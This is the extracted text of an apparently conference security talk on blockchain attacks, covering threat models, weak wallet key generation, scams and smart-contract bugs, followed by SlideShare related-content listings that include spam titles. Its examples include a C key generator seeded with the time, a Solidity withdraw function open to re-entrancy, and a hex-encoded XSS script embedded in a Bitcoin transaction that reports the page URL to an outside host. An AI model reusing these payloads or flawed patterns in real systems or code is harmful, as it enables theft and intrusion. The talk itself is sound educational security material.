SlideShare a Scribd company logo
1 of 35
www.divergentsecurity.com |
Smashing the BlockChain
Mostly Just For Profit
1
www.divergentsecurity.com |
WHAT IS A BLOCKCHAIN?
• Decentralized
– No single point of failure
– Democracy of nodes (clients)
– Strengthened by diversity
• Trustless
– No requirement for trust in any entity (computer, human, company, government)
– Validity of state can be independently verified
• State Machine
– Operates on shared state (Ledger)
– Synchronized execution (Blocks)
– Defined Instruction Set (Virtual Machine Opcodes)
– The power of rejection (Just Say No)
2
Blockchain:
“A Decentralized, Trustless, State Machine”
www.divergentsecurity.com |
COMPONENTS OF AN
IMPLEMENTATION
3
Bitcoin Core architecture (Source: Eric Lombrozo)
www.divergentsecurity.com |
Block
BITCOIN TRANSACTION VALIDATION
4
TX
...
[Output Script]
[Value]
...
Block
Block
Chain
New TX
[TX Hash]
[Output ID]
…
[Input Script]
[INPUT] + [OUTPUT] == TRUE?
www.divergentsecurity.com |
WHAT IS A TRANSACTION? - BTC
5
www.divergentsecurity.com |
WHAT IS A TRANSACTION? - ETH
6
www.divergentsecurity.com |
HACKING FOR PROFIT (BEFORE)
7
www.divergentsecurity.com |
HACKING FOR PROFIT (NOW)
8
www.divergentsecurity.com |
APPSEC 101: THE RED FLAGS
9
Client / Server
with potentially
malicious peers
Complex message
parsing and data
storage
Virtual Machine that
executes untrusted
instructions
Reliance on complex
cryptographic
concepts
Concurrency
critical both locally
and between peers
Code is responsible
for BILLIONS of
dollars
www.divergentsecurity.com |
THREAT MODEL - BIG PICTURE
• Recentralization
– Introduction of a single point of failure
– Some nodes are more “equal” than others
– Network based attacks (Segmentation, node isolation, etc)
• Trustlessness
– Consensus vulnerabilities (bugs in the algorithm)
– Verification vulnerabilities (bugs in the math)
• Infrastructure
– Attacks on critical infrastructure (Exchanges, Mining Pools)
– Connections between the blockchain and the real world
– Websites
• Social Interaction
– Attacks on the people
– Attacks on bad assumptions
10
www.divergentsecurity.com |
THREAT MODEL -
IMPLEMENTATION
• Traditional Vulnerabilities
– Bitcoin Core is written in C++ (hundreds of
forks are not as highly vetted)
– Blockchain devs love “Memory Safe”
languages (Go, Rust)
– Prediction: An exploitable race condition in a
GoLang node implementation
• Homogeneity of clients
– One vulnerability impacts EVERYONE
– Simple forced crash == full network DoS
• Virtual Machine
– Bugs within the state machine itself
– Forks of BTC/ETH love to add instructions
11
www.divergentsecurity.com |
THREAT MODEL -
CONTRACTS/SCRIPTS
• BTC Transaction Scripts
– Unspent outputs that are “solvable”
– Forks could modify instruction sets to create insecure
outputs
• Bugs in Contracts
– Memory Corruption (Yes! It has happened)
– Authorization Vulnerabilities
– Integer Over/Underflow
– Re-entrancy
– Logic Bugs
– Front Running
– No good random source
– Miner Advantage
• So many vulns, we now have a Top 10:
https://www.dasp.co/
12
www.divergentsecurity.com |
WHAT IS A WALLET, ANYWAY
13
0x0102030405060708091011121314151617181920212223242526272829303132
~3.4028237e+38 possible keys
Estimated grains of sand on earth ~= 7.5e+18
Estimated planets in our galaxy ~= 1.0e+11
7.5e+18 x 1.0e+11 = 7.5e+29
www.divergentsecurity.com |
START AT 1
14
0x0000000000000000000000000000000000000000000000000000000000000001
www.divergentsecurity.com |
WHEN RANDOM ISN’T RANDOM
15
int main () {
unsigned int seed = time(0);
srand(seed);
printf("0x");
for (int i = 0; i < 32; i++) {
unsigned char c = rand();
printf("%02x", c);
}
printf("n");
return 0;
}
www.divergentsecurity.com |
LET’S MAKE USERS GENERATE
RANDOM
16
- IOTA requires users to generate their own seed
- Used to generate subsequent private keys and
addresses (public key)
- 81 random A-Z and 9
www.divergentsecurity.com |
LET’S HELP USERS MAKE
RANDOM!
17
www.divergentsecurity.com |
LET’S HELP USERS MAKE RANDOM
18
www.divergentsecurity.com | 19
www.divergentsecurity.com |
YEP, THIS WAS EXPLOITED
20
www.divergentsecurity.com |
OKAY, OKAY, WE GET IT!
What should a user do?
21
www.divergentsecurity.com |
NODE ISOLATION
22
www.divergentsecurity.com |
CVE 2010-5141
23
https://git.io/vhTrk
www.divergentsecurity.com |
FORKS OF BITCOIN CORE
24
www.divergentsecurity.com |
MONEY + TECHNOLOGY + SOCIAL
MEDIA
Instant money transfer is ripe for scams
25
www.divergentsecurity.com |
ELON MUSK… ETH CHARITY...
26
www.divergentsecurity.com |
SO MUCH FOR STANDARD
27
https://blockchain.info/strange-transactions
https://git.io/vhTWe
OP_1
OP_ADD OP_ADD 13 OP_EQUAL
203c73637269707420747970653d27746578742f6a6176617363726970
74273e646f63756d656e742e777269746528273c696d67207372633d5c
27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d62
6c6f636b636861696e2d6465746563746f722e7068703f62633d6274632
6687265663d27202b206c6f636174696f6e2e68726566202b20275c273
e27293b3c2f7363726970743e20 OP_DROP
OP_ADD OP_ADD 13 OP_EQUAL
<script type=’text/javascript’>document.write(‘<img
src=’http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href='
+ location.href + ‘’>’);</script>
OP_DROP
OP_MIN OP_3 OP_EQUAL
www.divergentsecurity.com |
SO MUCH FOR STANDARD
28
www.divergentsecurity.com |
SOLIDITY MEMORY CORRUPTION..
WHA!!
29
https://git.io/vhTwW
www.divergentsecurity.com |
AUTHORIZATION
30
https://git.io/vhTr0
www.divergentsecurity.com |
RE-ENTRACY
function withdraw() {
require(balances[msg.sender] > 0);
msg.sender.transfer(balances[msg.sender]);
balances[msg.sender] = 0;
}
31
Detailed analysis of the DAO compromise:
https://bit.ly/1sLuetj
www.divergentsecurity.com |
SECURITY IS HARD
32
www.divergentsecurity.com |
PONZI COIN
33
www.divergentsecurity.com |
PONZI COIN
34
Please give me my 2 ETH back sadface
www.divergentsecurity.com |
THANK YOU!
San Francisco, CA (415) 286-5936 query@divergentsecurity.com divergentsecurity.com
35

More Related Content

Similar to A Decentralized, Trustless, State Machine

Cryptocurrencies overview
Cryptocurrencies overviewCryptocurrencies overview
Cryptocurrencies overviewTrector Rancor
 
Blockchain technology for the grid
Blockchain technology for the gridBlockchain technology for the grid
Blockchain technology for the gridmalikmayank
 
Understanding Blockchain
Understanding BlockchainUnderstanding Blockchain
Understanding BlockchainTony Willenberg
 
Blockchain disruptive technology 2018
Blockchain disruptive technology 2018Blockchain disruptive technology 2018
Blockchain disruptive technology 2018Ziyad Abualrob
 
Blockchain Presentation
Blockchain PresentationBlockchain Presentation
Blockchain PresentationThaboBotha
 
A Quick Start To Blockchain by Seval Capraz
A Quick Start To Blockchain by Seval CaprazA Quick Start To Blockchain by Seval Capraz
A Quick Start To Blockchain by Seval CaprazSeval Çapraz
 
An in depth presentation of Cryptocurrency.
An in depth presentation of Cryptocurrency.An in depth presentation of Cryptocurrency.
An in depth presentation of Cryptocurrency.SanjeebSamanta1
 
IDC - Blockchain Threat Model
IDC - Blockchain Threat ModelIDC - Blockchain Threat Model
IDC - Blockchain Threat ModelPeteLind
 
Understanding blockchain v1.0 manish gupta (7 min read)
Understanding blockchain  v1.0 manish gupta (7 min read)Understanding blockchain  v1.0 manish gupta (7 min read)
Understanding blockchain v1.0 manish gupta (7 min read)ManishGuptaJi
 
BLOCKCHAIN PPT.pptx
BLOCKCHAIN PPT.pptxBLOCKCHAIN PPT.pptx
BLOCKCHAIN PPT.pptxSohanaAmreen
 
How to develop a distributed app on ethereum
How to develop a distributed app on ethereumHow to develop a distributed app on ethereum
How to develop a distributed app on ethereumMarco Ottolini
 
New Business Models enabled by Blockchain
New Business Models enabled by BlockchainNew Business Models enabled by Blockchain
New Business Models enabled by BlockchainSlash
 
Nasscom Ahmedabad Demystifying blockchain 101
Nasscom Ahmedabad Demystifying blockchain 101Nasscom Ahmedabad Demystifying blockchain 101
Nasscom Ahmedabad Demystifying blockchain 101Mayank Jain
 
Ethereum Mining How To
Ethereum Mining How ToEthereum Mining How To
Ethereum Mining How ToNugroho Gito
 
Blockchain and Cryptocurrencies
Blockchain and CryptocurrenciesBlockchain and Cryptocurrencies
Blockchain and CryptocurrenciesnimeshQ
 
Cryptomania! The Past and Future of Digital Distributed Consensus
Cryptomania! The Past and Future of Digital Distributed ConsensusCryptomania! The Past and Future of Digital Distributed Consensus
Cryptomania! The Past and Future of Digital Distributed ConsensusDallas Kennedy
 
20190606 blockchain101
20190606 blockchain10120190606 blockchain101
20190606 blockchain101Hu Kenneth
 

Similar to A Decentralized, Trustless, State Machine (20)

Cryptocurrencies overview
Cryptocurrencies overviewCryptocurrencies overview
Cryptocurrencies overview
 
Blockchain technology for the grid
Blockchain technology for the gridBlockchain technology for the grid
Blockchain technology for the grid
 
Understanding Blockchain
Understanding BlockchainUnderstanding Blockchain
Understanding Blockchain
 
Blockchain disruptive technology 2018
Blockchain disruptive technology 2018Blockchain disruptive technology 2018
Blockchain disruptive technology 2018
 
Blockchain Presentation
Blockchain PresentationBlockchain Presentation
Blockchain Presentation
 
A Quick Start To Blockchain by Seval Capraz
A Quick Start To Blockchain by Seval CaprazA Quick Start To Blockchain by Seval Capraz
A Quick Start To Blockchain by Seval Capraz
 
An in depth presentation of Cryptocurrency.
An in depth presentation of Cryptocurrency.An in depth presentation of Cryptocurrency.
An in depth presentation of Cryptocurrency.
 
crypto ppt.ppt
crypto ppt.pptcrypto ppt.ppt
crypto ppt.ppt
 
IDC - Blockchain Threat Model
IDC - Blockchain Threat ModelIDC - Blockchain Threat Model
IDC - Blockchain Threat Model
 
Smart contracts
Smart contractsSmart contracts
Smart contracts
 
Understanding blockchain v1.0 manish gupta (7 min read)
Understanding blockchain  v1.0 manish gupta (7 min read)Understanding blockchain  v1.0 manish gupta (7 min read)
Understanding blockchain v1.0 manish gupta (7 min read)
 
Blockchain
BlockchainBlockchain
Blockchain
 
BLOCKCHAIN PPT.pptx
BLOCKCHAIN PPT.pptxBLOCKCHAIN PPT.pptx
BLOCKCHAIN PPT.pptx
 
How to develop a distributed app on ethereum
How to develop a distributed app on ethereumHow to develop a distributed app on ethereum
How to develop a distributed app on ethereum
 
New Business Models enabled by Blockchain
New Business Models enabled by BlockchainNew Business Models enabled by Blockchain
New Business Models enabled by Blockchain
 
Nasscom Ahmedabad Demystifying blockchain 101
Nasscom Ahmedabad Demystifying blockchain 101Nasscom Ahmedabad Demystifying blockchain 101
Nasscom Ahmedabad Demystifying blockchain 101
 
Ethereum Mining How To
Ethereum Mining How ToEthereum Mining How To
Ethereum Mining How To
 
Blockchain and Cryptocurrencies
Blockchain and CryptocurrenciesBlockchain and Cryptocurrencies
Blockchain and Cryptocurrencies
 
Cryptomania! The Past and Future of Digital Distributed Consensus
Cryptomania! The Past and Future of Digital Distributed ConsensusCryptomania! The Past and Future of Digital Distributed Consensus
Cryptomania! The Past and Future of Digital Distributed Consensus
 
20190606 blockchain101
20190606 blockchain10120190606 blockchain101
20190606 blockchain101
 

Recently uploaded

Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 

Recently uploaded (20)

Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 

A Decentralized, Trustless, State Machine